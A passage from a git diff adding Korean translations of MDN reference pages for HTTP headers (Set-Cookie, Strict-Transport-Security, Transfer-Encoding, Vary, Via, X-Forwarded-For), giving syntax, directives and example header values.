+ <dd>쿠키가 만료될 때 까지의 시간 (초 단위). 0 또는 음수가 지정되면 해당 쿠키는 즉시 만료되며, 오래된 브라우저(ie6, ie7 그리고 ie8)은 이 헤더를 지원하지 않습니다. 다른 브라우저들은 둘 다(<code>Expires</code> 와 <code>Max-Age)</code> 지정되었을 때 <code>Max-Age</code> 값을 더 우선시합니다.</dd>
+ <dt>Domain=&lt;domain-value&gt; {{optional_inline}}</dt>
+ <dd>쿠키가 적용되어야 하는 호스트를 지정. 지정되어 있지 않으면 현재 문서 URI를 기준으로 적용됩니다만, 서브 도메인을 포함하지 않습니다. 이전의 설계와 달리, 도메인의 선두에 위치한 점들은 무시됩니다. 도메인이 지정되면, 서브도메인들은 항상 포함됩니다.</dd>
+ <dt>Path=&lt;path-value&gt; {{optional_inline}}</dt>
+ <dd>쿠키 헤더를 보내기 전에 요청 된 리소스에 있어야하는 URL 경로를 나타냅니다. % x2F ( "/") 문자는 디렉토리 구분 기호로 해석되며 하위 디렉토리도 일치합니다 (예: path=/docs, "/docs", "/docs/Web/"또는 "/docs/Web/HTTP "가 모두 일치합니다).</dd>
+ <dt>Secure {{optional_inline}}</dt>
+ <dd>보안 쿠키들은 서버에서 요청이 SSL을 사용하며, HTTPS 프로토콜을 사용할 때에만 전송됩니다. 그러나 기밀 정보나 민감한 정보들은 HTTP 쿠키에 보관되거나 그걸로 전송되어선 안됩니다. 왜냐하면, 그 전체 메커니즘이 본질적으로 보안이 결여되어 있고, 거기 들어있는 어떤 정보도 암호화되지 않기 때문입니다.
+ <p class="note"><strong>노트:</strong> 비 보안 사이트(<code>http:</code>)들은 "보안" 쿠키를 더이상 설정할 수 없습니다(Chrome 52+ 및 Firefox 52+).</p>
+ </dd>
+ <dt>HttpOnly {{optional_inline}}</dt>
+ <dd>HTTP-only cookies aren't accessible via JavaScript through the property, the {{domxref("XMLHttpRequest")}} and {{domxref("Request")}} APIs to mitigate attacks against cross-site scripting ({{Glossary("XSS")}}).</dd>
+ <dt>SameSite=Strict<br>
+ SameSite=Lax {{optional_inline}} {{experimental_inline}}</dt>
+ <dd>
+ <p>Allows servers to assert that a cookie ought not to be sent along with cross-site requests, which provides some protection against cross-site request forgery attacks ({{Glossary("CSRF")}}).</p>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Session_cookie">Session cookie</h3>
+
+<p>Session cookies will get removed when the client is shut down. They don't specify the <code>Expires</code> or <code>Max-Age</code> directives. Note that web browser have often enabled session restoring.</p>
+
+<pre>Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre>
+
+<h3 id="Permanent_cookie">Permanent cookie</h3>
+
+<p>Instead of expiring when the client is closed, permanent cookies expire at a specific date (<code>Expires</code>) or after a specific length of time (<code>Max-Age</code>).</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
+</pre>
+
+<h3 id="Invalid_domains">Invalid domains</h3>
+
+<p>A cookie belonging to a domain that does not include the origin server <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">should be rejected by the user agent</a>. The following cookie will be rejected if it was set by a server hosted on originalcompany.com.</p>
+
+<pre>Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre>
+
+<h3 id="Cookie_prefixes">Cookie prefixes</h3>
+
+<p>Cookies names with the prefixes <code>__Secure-</code> and <code>__Host-</code> can be used only if they are set with the <code>secure</code> directive from a secure (HTTPS) origin. In addition, cookies with the <code>__Host-</code> prefix must have a path of "/" (the entire host) and must not have a domain attribute. For clients that don't implement cookie prefixes, you cannot count on having these additional assurances and the cookies will always be accepted.</p>
+
+<pre>// Both accepted when from a secure origin (HTTPS)
+Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
+Set-Cookie: __Host-ID=123; Secure; Path=/
+
+// Rejected due to missing Secure directive
+Set-Cookie: __Secure-id=1
+
+// Rejected due to the missing Path=/ directive
+Set-Cookie: __Host-id=1; Secure
+
+// Rejected due to setting a domain
+Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td>
+ <td>HTTP State Management Mechanism</td>
+ </tr>
+ <tr>
+ <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-02">draft-ietf-httpbis-rfc6265bis-02</a></td>
+ <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Set-Cookie")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li>Starting with Chrome 52 and Firefox 52, insecure sites (<code>http:</code>) can't set cookies with the "secure" directive anymore.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/strict-transport-security/index.html b/files/ko/web/http/headers/strict-transport-security/index.html
new file mode 100644
index 0000000000..d80533e014
--- /dev/null
+++ b/files/ko/web/http/headers/strict-transport-security/index.html
@@ -0,0 +1,108 @@
+---
+title: Strict-Transport-Security
+slug: Web/HTTP/Headers/Strict-Transport-Security
+translation_of: Web/HTTP/Headers/Strict-Transport-Security
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>Strict-Transport-Security</code></strong> response header (종종 {{Glossary("HSTS")}} 로 약칭) 는 HTTP 대신 HTTPS만을 사용하여 통신해야한다고 웹사이트가 브라우저에 알리는 보안 기능.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Strict-Transport-Security: max-age=&lt;expire-time&gt;
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; includeSubDomains
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt><code>max-age=&lt;expire-time&gt;</code></dt>
+ <dd>이 사이트가 HTTPS 로만 접근되어야 한다고 기억되어야 하는 시간(초).</dd>
+ <dt><code>includeSubDomains</code> {{optional_inline}}</dt>
+ <dd>이 옵션이 적용되면, 이 사이트의 모든 서브도메인에 규칙이 적용된다는 것을 의미한다.</dd>
+ <dt><code>preload</code> {{optional_inline}}</dt>
+ <dd>자세한 내용은 다음 {{anch("Preloading Strict Transport Security")}} 을 참고.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>만약 이 웹사이트가 HTTP 요청을 받고 HTTPS 로 리다이렉트 하는 경우에, 유저가 만약 http://www.foo.com/ 을 입력하거나, 심지어 foo.com 만 입력하는 경우에, 리다이렉트 되기 이전의 암호화 되지 않은 버전의 사이트와 통신하게 된다. 이 경우, 안전한 버전의 원본 페이지가 아닌 악의적인 다른 페이지로 리다이렉트 되는 man-in-the-middle attack 의 잠재적 위험이 있다. </p>
+
+<p>HTTP Strict Transport Security 헤더는 웹사이트가 브라우저에게 절대로 HTTP 로 사이트를 연결하면 안되고 HTTP 로 연결하려는 모든 시도는 자동으로 HTTPS로 변경해야 된다고 알린다. </p>
+
+<div class="note"><strong>Note:</strong> <code>Strict-Transport-Security</code> 헤더는 사이트에 HTTP 로 접근되었을때에는 무시된다. 공격자가 HTTP 연결을 가로채어 헤더를 주입하거나 제거했을 수 있기 때문이다.  만약 당신의 사이트가 HTTPS 로 접근되었고 인증 에러도 없었다면,  브라우저는 당신의 사이트가 HTTPS 를 사용할 수 있음을 알고, <code>Strict-Transport-Security</code>  헤더를 사용한다. </div>
+
+<h3 id="An_example_scenario">An example scenario</h3>
+
+<p>당신은 공항의 무료 WiFi 에 로그인하여 웹서핑을 시작하여, 잔고 확인과 영수 처리를 하기 위해 온라인 뱅킹을 시작했다. 하지만, 당신이 사용중인 access point 는 사실은 해커의 노트북이고, 그는 당신의 원본 HTTP 리퀘스트를 가로채어 진짜 은행 사이트가 아닌 가짜 은행 사이트로 리다이렉트 했다. 당신의 비공개 데이터는 해커에게 노출되었다.</p>
+
+<p>당신이 HTTPS 를 이용해서 은행의 웹사이트를 접근한 적이 있었고, 그 은행의 웹사이트가 Strict Transport Security 를 사용한다면 당신의 브라우저는 자동으로 HTTPS 만 사용할 것이고, 해커가 이러한 man-in-the-middle 공격을 하는것을 방지해준다. 따라서 Strict Transport Security는 이러한 문제를 해결해준다.</p>
+
+<h3 id="How_the_browser_handles_it">How the browser handles it</h3>
+
+<p>맨 처음 HTTPS 를 이용해서 접근되면 당신의 사이트는 <code>Strict-Transport-Security</code> 헤더를 응답한다. 당신의 브라우저는 이러한 정보를 기록해서 이후에 HTTP 로 접근하려는 시도를 자동으로 HTTPS 를 사용하도록 변경한다. </p>
+
+<p>만약 Strict-Transport-Security 헤더에 명시된 만료시간(expiration time)이 지나면, HTTP 로 접근하려는 다음 시도는 HTTPS 를 사용하지 않는다.</p>
+
+<p>Strict-Transport-Security 헤더가 브라우저에게 제공되면, 브라우저는 해당 사이트의 만료시간을 갱신하여 만료되지 않도록 한다. Strict Transport Security 헤더를 의 max-age 값을 0으로 지정(HTTPS 연결중)하면 <code>Strict-Transport-Security</code>헤더가 즉시 비활성 되어 HTTP 를 통한 접근이 허용된다.</p>
+
+<h2 id="Preloading_Strict_Transport_Security">Preloading Strict Transport Security</h2>
+
+<p>구글은 <a href="https://hstspreload.appspot.com/">HSTS preload service</a> 를 관리하고 있다. 가이드라인을 따르고 당신의 도메인 등록을 성공하면, 브라우저는 당신의 도메인에 안전하지 않은 연결을 하지 않게 된다. 이 서비스는 구글에 의해 제공되지만, 모든 브라우저는 preload list 를 사용하겠다는 의도를 밝혔다(혹은 실제로 사용하고있다). </p>
+
+<ul>
+ <li>Information regarding the HSTS preload list in Chrome :  <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li>
+ <li>Consultation of the Firefox HSTS preload list : <a href="https://dxr.mozilla.org/comm-central/source/mozilla/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>모든 서브도메인을 포함해서 최대 1년간 HTTPS 를 통해 접근하겠다는 이 페이지와 서브도메인들 모두 HTTP 를 통한 접근을 막는다.</p>
+
+<pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HSTS')}}</td>
+ <td>{{Spec2('HSTS')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Strict-Transport-Security")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li>
+ <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li>
+ <li>OWASP Article: <a href="https://www.owasp.org/index.php/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+ <li>Wikipedia: <a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/transfer-encoding/index.html b/files/ko/web/http/headers/transfer-encoding/index.html
new file mode 100644
index 0000000000..0b2f3900fc
--- /dev/null
+++ b/files/ko/web/http/headers/transfer-encoding/index.html
@@ -0,0 +1,104 @@
+---
+title: Transfer-Encoding
+slug: Web/HTTP/Headers/Transfer-Encoding
+translation_of: Web/HTTP/Headers/Transfer-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Transfer-Encoding</code></strong> 헤더는 사용자에게 {{Glossary("Entity header","entity")}}를 안전하게 전송하기 위해 사용하는 인코딩 형식을 지정합니다.</p>
+
+<p><code>Transfer-Encoding</code>은 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop 헤더</a>로, 리소스 자체가 아닌 두 노드 사이에 메시지를 적용하는 것입니다. 다중-노드 연결의 각각의 세그먼트는 <code>Transfer-Encoding</code> 의 값을 다르게 사용할 수 있습니다. 만약 전체 연결에 있어 데이터를 압축하고자 한다면, end-to-end 헤더인 {{HTTPHeader("Content-Encoding")}} 헤더를 대신 사용하시기 바랍니다.</p>
+
+<p>본문이 없는 {{HTTPMethod("HEAD")}} 요청에 대한 응답은 그에 대한 {{HTTPMethod("GET")}} 메시지에 적용될 값을 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Transfer-Encoding: chunked
+Transfer-Encoding: compress
+Transfer-Encoding: deflate
+Transfer-Encoding: gzip
+Transfer-Encoding: identity
+
+<em>// 어떤 값들은 쉼표로 구분하여 나열될 수 있습니다</em>
+Transfer-Encoding: gzip, chunked</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>chunked</code></dt>
+ <dd>데이터가 일련의 청크 내에서 전송됩니다. {{HTTPHeader("Content-Length")}} 헤더는 이 경우 생략되며, 각 청크의 앞부분에 현재 청크의 길이가 16진수 형태로 오고 그 뒤에는 '\r\n'이 오고 그 다음에 청크 자체가 오며, 그 뒤에는 다시 '\r\n'이 옵니다. 종료 청크는 그것의 길이가 0인 것을 제외하면 일반적인 청크와 다르지 않습니다. 그 다음에는 (비어있을수도 있는) 연속된 엔티티 헤더 필드로 구성된 트레일러가 옵니다.</dd>
+ <dt><code>compress</code></dt>
+ <dd><a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 알고리즘을 사용하는 형식. 값의 이름은 이 알고리즘을 구현한, UNIX <em>compress</em> 프로그램에서 차용된 것입니다.<br>
+ 대부분의 UNIX 배포판에서 제외된 압축 프로그램처럼, 이 content-encoding은 어느 정도는 (2003년에 기한이 만료된) 특허 문제로 인해 오늘날 거의 대부분의 브라우저에서 사용되지 않고 있습니다.</dd>
+ <dt><code>deflate</code></dt>
+ <dd>(<a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>에 정의된) <em><a class="external" href="http://en.wikipedia.org/wiki/DEFLATE">deflate</a> </em>압축 알고리즘과 함께 (<a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>에서 정의된) <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 구조체를 사용합니다.</dd>
+ <dt><code>gzip</code></dt>
+ <dd>32비트 CRC를 이용한 <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77)을 사용하는 형식. 이것은 근본적으로 UNIX <em>gzip</em> 프로그램의 형식입니다. 또한, HTTP/1.1 표준은 이 content-encoding을 지원하는 서버는 호환성 목적을 위해 <code>x-gzip</code> 을 별칭으로 인지할 것을 권고하고 있습니다.</dd>
+ <dt><code>identity</code></dt>
+ <dd>정체성 기능 (즉, 압축이나 수정이 없는) 을 나타냅니다. 이 토크은 명시적으로 지정되는 경우를 제외하고 항상 허용 가능한 것으로 간주됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="청크_분할_인코딩">청크 분할 인코딩</h3>
+
+<p>청크 분할 인코딩은 더 많은 양의 데이터가 클라이언트에 전송되고 요청이 완전히 처리되기 전까지는 응답의 전체 크기를 알지 못하는 경우 유용하다. 데이터베이스 쿼리의 결과가 될 큰 HTML 테이블을 생성하는 경우나 큰 이미지를 전송하는 경우가 그 예입니다. 청크 분할 응답은 다음과 같습니다:</p>
+
+<pre>HTTP/1.1 200 OK
+Content-Type: text/plain
+Transfer-Encoding: chunked
+
+7\r\n
+Mozilla\r\n
+9\r\n
+Developer\r\n
+7\r\n
+Network\r\n
+0\r\n
+\r\n</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7230", "Transfer-Encoding", "3.3.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/transfer-encoding")}}</p>
+
+<h2 id="함께_참고할_내용들">함께 참고할 내용들</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Content-Encoding")}}</li>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>Header fields that regulate the use of trailers: {{HTTPHeader("TE")}} (requests) and {{HTTPHeader("Trailer")}} (responses).</li>
+ <li>
+ <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Chunked transfer encoding</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/headers/vary/index.html b/files/ko/web/http/headers/vary/index.html
new file mode 100644
index 0000000000..8743328eb1
--- /dev/null
+++ b/files/ko/web/http/headers/vary/index.html
@@ -0,0 +1,82 @@
+---
+title: Vary
+slug: Web/HTTP/Headers/Vary
+translation_of: Web/HTTP/Headers/Vary
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Vary</code></strong> 헤더는 캐시 된 응답을 향후 요청들에서 오리진 서버로 새로운 요청 헤더를 요청하는 대신 사용할 수 있는지 여부를 결정합니다. 이것은 서버에서 <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a> 알고리즘에 어떤 리소스를 선택을 할 것인지를 가르킵니다.</p>
+
+<p><code>Vary</code> 헤더는 {{HTTPStatus("200")}} <code>OK</code> 응답과 동일하게 {{HTTPStatus("304")}} <code>Not Modified</code> 응답에서도 설정 되어야 합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Vary: *
+Vary: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>*</dt>
+ <dd>각 요청에 대해서 유일하며 캐시 할 수 없는 요청으로 간주합니다.<br>
+ 이보다 더 좋은 방법으로 {{HTTPHeader("Cache-Control")}}: <code>no-store</code>, 를 사용 하는것이 객체를 저장하면 안된다는 의미로 좀더 명확하게 표시되고 읽을 수 있습니다.</dd>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>헤더 이름은 쉼표로 구분되며 캐시 된 응답을 사용할 수 있는지 여부를 결정할 때 사용 됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="동적_제공">동적 제공</h3>
+
+<p><code>Vary: User-Agent</code> 헤더를 사용시 캐싱 서버는 캐시된 페이지를 응답할지 여부를 User-Agent 로 고려해야합니다. 예를 들어, 모바일 유저에게 다른 컨텐츠를 제공해야 할 경우, 모바일 유저에게 데스크탑 유저를 위한 캐시 컨텐츠가 제공 되는것을 피할 수 있습니다. 구글이나 다른 검색 엔진등 에서 모바일 버전을 발견 할수 있는데 도움이 되며, <a href="https://en.wikipedia.org/wiki/Cloaking">클로킹</a>이 의도되지 않는다고 볼 수도 있습니다.</p>
+
+<pre>Vary: User-Agent</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Vary", "7.1.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Vary")}}</p>
+
+<h2 id="호환성_노트"><span class="trans_txt">호환성 노트</span></h2>
+
+<ul>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li>
+</ul>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="https://www.smashingmagazine.com/2017/11/understanding-vary-header/">Understanding The Vary Header - Smashing Magazine</a></li>
+ <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for Using the Vary Header – fastly.com</a></li>
+ <li><a href="https://developer.mozilla.org/docs/Web/HTTP/Content_negotiation">Content negotiation</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/via/index.html b/files/ko/web/http/headers/via/index.html
new file mode 100644
index 0000000000..80bc54a6ff
--- /dev/null
+++ b/files/ko/web/http/headers/via/index.html
@@ -0,0 +1,79 @@
+---
+title: Via
+slug: Web/HTTP/Headers/Via
+tags:
+ - 한국어
+ - 헤더
+translation_of: Web/HTTP/Headers/Via
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Via</strong></code> 헤더는 요청헤더와 응답헤더에 포워드 프록시와 리버스 프록시에 의해서 추가 됩니다. 이 것은 포워드 메시지를 추적하거나, 요청 루프 방지, 요청과 응답 체인에 따라 송신자의 프로토콜 정보를 식별 합니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("General header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">Via: [ &lt;protocol-name&gt; "/" ] &lt;protocol-version&gt; &lt;host&gt; [ ":" &lt;port&gt; ]
+or
+Via: [ &lt;protocol-name&gt; "/" ] &lt;protocol-version&gt; &lt;pseudonym&gt;
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;protocol-name&gt;</dt>
+ <dd>선택사항. "HTTP" 와 같은 사용된 프로토콜의 이름.</dd>
+ <dt>&lt;protocol-version&gt;</dt>
+ <dd>"1.1" 과 같이 사용된 프로토콜의 버전.</dd>
+ <dt>&lt;host&gt; and &lt;port&gt;</dt>
+ <dd>공용 프록시의 URL 과 port.</dd>
+ <dt>&lt;pseudonym&gt;</dt>
+ <dd>내부 프록시의 이름 또는 별칭.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="notranslate">Via: 1.1 vegur
+Via: HTTP/1.1 GWA
+Via: 1.0 fred, 1.1 p.example.net
+</pre>
+
+<h2 id="기술사양">기술사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7230", "Via", "5.7.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Via")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("X-Forwarded-For")}}</li>
+ <li><a href="https://github.com/heroku/vegur">Heroku's proxy library Vegur</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/x-forwarded-for/index.html b/files/ko/web/http/headers/x-forwarded-for/index.html
new file mode 100644
index 0000000000..9af08b5213
--- /dev/null
+++ b/files/ko/web/http/headers/x-forwarded-for/index.html
@@ -0,0 +1,81 @@
+---
+title: X-Forwarded-For
+slug: Web/HTTP/Headers/X-Forwarded-For
+tags:
+ - HTTP
+ - HTTP 헤더
+ - Reference
+ - 비표준
+ - 요청 헤더
+ - 헤더
+translation_of: Web/HTTP/Headers/X-Forwarded-For
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>X-Forwarded-For</code></strong> (XFF) 헤더는 HTTP 프록시나 로드 밸런서를 통해 웹 서버에 접속하는 클라이언트의 원 IP 주소를 식별하는 사실상의 표준 헤더다. 클라이언트와 서버 중간에서 트래픽이 프록시나 로드 밸런서를 거치면, 서버 접근 로그에는 프록시나 로드 밸런서의 IP 주소만을 담고 있다. 클라이언트의 원 IP 주소를 보기위해 X-Forwarded-For 요청 헤더가 사용된다.</p>
+
+<p>이 헤더는 디버깅, 통계, 그리고 위치 종속적인 컨텐츠를 위해 사용되고, 클라이언트의 IP 주소 등과 같은 민감한 개인정보를 노출시킨다. 그러므로 이 헤더를 사용할 때에는 사용자의 프라이버시를 주의해야 한다.</p>
+
+<p>이 헤더의 표준화된 버전은 HTTP {{HTTPHeader("Forwarded")}} 헤더다.</p>
+
+<p><code>X-Forwarded-For</code> 은 이메일 메시지가 다른 계정으로부터 포워딩되었음을 나타내는 이메일 헤더이기도 하다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">X-Forwarded-For: &lt;client&gt;, &lt;proxy1&gt;, &lt;proxy2&gt;
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;client&gt;</dt>
+ <dd>클라이언트 IP 주소</dd>
+ <dt>&lt;proxy1&gt;, &lt;proxy2&gt;</dt>
+ <dd>하나의 요청이 여러 프록시들을 거치면, 각 프록시의 IP 주소들이 차례로 열거된다. 즉, 가장 오른쪽 IP 주소는 가장 마지막에 거친 프록시의 IP 주소이고, 가장 왼쪽의 IP 주소는 최초 클라이언트의 IP 주소다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
+
+X-Forwarded-For: 203.0.113.195
+
+X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
+</pre>
+
+<p>다른 비표준 형태:</p>
+
+<pre># 몇몇 구글 서비스에서 사용된다
+X-ProxyUser-Ip: 203.0.113.19</pre>
+
+<h2 id="기술명세">기술명세</h2>
+
+<p>현재 어떠한 표준 명세에도 속하지 않는다. 이 헤더의 표준화 버전은 {{HTTPHeader("Forwarded")}} 이다.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("http.headers.X-Forwarded-For")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+ <li>{{HTTPHeader("Via")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/x-forwarded-host/index.html b/files/ko/web/http/headers/x-forwarded-host/index.html
new file mode 100644
index 0000000000..6efc37a374
--- /dev/null
+++ b/files/ko/web/http/headers/x-forwarded-host/index.html
@@ -0,0 +1,74 @@
+---
+title: X-Forwarded-Host
+slug: Web/HTTP/Headers/X-Forwarded-Host
+tags:
+ - HTTP
+ - HTTP Header
+ - Non-standard
+ - Reference
+ - Request header
+ - header
+ - 레퍼런스
+ - 비표준
+ - 요청헤더
+ - 헤더
+translation_of: Web/HTTP/Headers/X-Forwarded-Host
+---
+<div>{{HTTPSidebar}}</div>
+
